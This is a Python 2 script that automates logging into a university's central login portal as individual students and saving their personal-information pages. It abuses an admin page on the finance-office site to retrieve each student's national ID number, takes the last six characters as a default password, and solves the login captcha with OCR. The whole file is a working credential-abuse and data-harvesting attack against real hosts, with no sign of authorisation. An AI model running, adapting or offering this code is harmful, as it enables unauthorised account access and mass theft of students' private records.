#encoding:utf-8
import urllib2, cookielib
import urllib
import ocrmain
import re
def get_student_infomation(student_id):
	#cookie配置
	cookie_support= urllib2.HTTPCookieProcessor(cookielib.CookieJar())
	opener = urllib2.build_opener(cookie_support, urllib2.HTTPHandler)

	#取得随机token
	try:
		url_index=r'https://portal.hnust.edu.cn:8443/cas/login'
		content=opener.open(url_index).read()
		f=content.find('lt')
		token=content[f+11:f+87]
		# print token
	except:
		print student_id,'token error'
		return ''

	#获取验证码
	try:
		temp_file_name='temp.jpg'
		url_code=r'https://portal.hnust.edu.cn:8443/cas/security/initDigitPicture.do?Rgb=255|255|255&width=200&height=500'
		content = opener.open(url_code).read()
		open(temp_file_name,'wb').write(content)
		word=ocrmain.getword(temp_file_name)
		# print 'ocrresult=',word
	except :
		print student_id,'code error'
		return get_student_infomation(student_id)
	if len(word)!=4:
		print student_id,'code error word'
		return get_student_infomation(student_id)
	
	#登录
	try:
		password=get_students_password(str(student_id))
		if len(password)!=6: return 'no find this student'
		url_login_page=r'https://portal.hnust.edu.cn:8443/cas/login?service=http%3A%2F%2Fportal.hnust.edu.cn%2FP%2Findex.jsp'
		postdata=urllib.urlencode({
		    'username':str(student_id),
		    'password':password,
		    'j_digitPicture':word,#验证码
		    '_eventId':'submit',
		    'loginType':'0',
		    'lt':token
		})
		content=opener.open(url_login_page,postdata).read()
	except:
		print student_id,'login error'
		return get_student_infomation(student_id)

	if content.find('success')==-1:
		if content.find('您输入的验证码有误')!=-1:
			return get_student_infomation(student_id)
		print student_id,'密码错误'
		return 'error'

	#读取个人信息
	try:
		url_index=r'http://szyx.hnust.edu.cn/xg/application/main.jsp'
		content=opener.open(url_index).read()
		url_index=r'http://szyx.hnust.edu.cn/xg/xg/studentInfo.do?method=getStudentInfo'
		content=opener.open(url_index).read()
		open('data/'+str(student_id)+'.html','wb').write(content)
		#退出登录
		url_index=r'https://portal.hnust.edu.cn:8443/cas/logout'
		content=opener.open(url_index).read()
	except:
		print student_id,'error read information'
	else:
		print 'succeed#',student_id
	return 'ok'

def get_students_password(student_id):
	#读取密码
	try:
		url_login_page=r'http://cwc.hnust.cn/admin/zhao_mm1.asp'
		postdata=urllib.urlencode({
		    'xsxh':str(student_id),
		})
		content=urllib2.urlopen(url_login_page,postdata).read()
		content=re.compile(r'[0-9]{17}[0-9a-zA-Z]').search(content).group()[12:]
		content=content.replace('X','x')
		return content
	except AttributeError:
		return ''



